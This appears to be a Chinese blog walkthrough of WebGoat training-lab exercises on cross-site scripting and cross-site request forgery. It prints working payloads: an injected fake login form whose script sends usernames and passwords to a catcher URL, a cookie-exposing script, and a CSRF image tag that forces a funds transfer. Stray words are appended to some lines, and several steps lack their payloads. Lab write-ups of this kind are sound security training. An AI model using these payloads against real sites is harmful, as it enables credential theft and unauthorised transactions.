WebGoat系列實驗Cross-Site Scripting (XSS)

WebGoat系列實驗Cross-Site Scripting (XSS)

PhishingTitle

  1. 本次實驗是在一個已知存在XSS漏洞的頁面進行釣魚攻擊。經過使用XSS與HTML注入,在頁面中注入身份認證html代碼,添加javascript腳本收集身份認證信息,併發送到http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
  2. 輸入如下javascript代碼。(以前這個位置提交的javascript代碼沒有顯示出來,原來是由於源代碼被過濾掉了...)
</form><script>function hack(){image=new Image;image.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&username="+document.phish.username.value+"&password="+document.phish.password.value+"";alert("PHISHING!");}</script><form name = "phish"><br><HR><H3>This feature requires account login:</H3><br>Enter Username:<br><input type="text" name="username"><br>Enter Password:<br><input type="password" name="password"><br><input type="submit" name=login value="login" onclick=hack()></form><br><HR>
  1. 在僞造的輸入框中輸入用戶名與密碼,點擊login按鈕,用戶的登陸認證信息就被髮送到構造的頁面中了。image

LAB: Cross Site Scripting

Stage 1:Stored XSS

  1. 做爲Tom,在我的簡介編輯頁執行存儲型XSS攻擊,驗證Jerry會受到攻擊影響。
  2. 使用Tom登陸,修改Tom的我的簡介編輯頁的街道一欄,在其後添加,更新我的信息。image
  3. 使用Jerry登陸,選擇Tom的我的信息進行查看,彈窗代表存儲型XSS攻擊成功。

Stage 2:Block Stored XSS using Input Validation

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOATjavascript

Stage3:Stored XSS Revisited

驗證Bruce的我的簡介中包含有XSS攻擊,使用David用戶登陸,查看Bruce的我的簡介,出現彈窗,代表存在XSS攻擊。html

Stage4:Block Stored XSS using Output Encoding

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOATjava

Stage5:Reflected XSS

  1. 利用查找職工頁面的缺陷製做一個包含有反射型XSS的URL,驗證其餘使用這個連接的用戶也會受到攻擊影響。
  2. 使用用戶Larry登陸,在Search Staff搜索框中輸入。

Stage6:Block Reflected XSS

THIS LESSON ONLY WORKS WITH THE DEVELOPER VERSION OF WEBGOATgit

Stored XSS Attacks

  1. 清除全部的輸入是一個很好的選擇,尤爲是清除那些將被用做參數使用的輸入。對於在應用程序中永久存儲的內容特別重要。當用戶的消息被檢索時,不能出現不指望的消息內容。
  2. 在輸入的內容中添加javascript代碼,點擊Submit按鈕。image
  3. 點擊生成的文章連接,會顯示一個彈窗,代表頁面存在存儲型XSS。

Reflected XSS Attacks

  1. 在服務器端驗證全部輸入是一個很好的選擇。未驗證的用戶輸入可能會在HTTP響應中出現XSS。攻擊者能夠建立一個URL,經過讓受害者點擊的方式進行XSS攻擊。
  2. 在digit access code框中添加
<script>alert(document.cookie);</script>

,點擊Purchase按鈕完成。imageweb

Cross Site Request Forgery (CSRF)

  1. 實驗須要向新聞組發送一封email。在email中包含一張圖片,圖片的URL指向一個惡意請求。實驗中,URL應指向attack servlet,參數有Screen與menu,還有一個額外的參數transferFunds帶有任意數值。收件人恰好進行身份認證,正在轉移資金。
  2. 構造一封郵件,在Message後添加一張圖片,根據Screen與menu值構造URL,圖片的javascript代碼爲
<img src="attack?Screen=2078372&menu=900&transferFunds=5000"/>

image服務器

  1. 當收件人打開這封email時,因爲自身身份已經認證,所以帳戶被轉移了5000。image

CSRF Prompt By-Pass

  1. 實驗須要向新聞組發送email包含如下惡意請求,首先轉帳,而後請求提示確認。
  2. 在email的正文中輸入以下javascript代碼。image

CSRF Token By-Pass

image

相關文章
相關標籤/搜索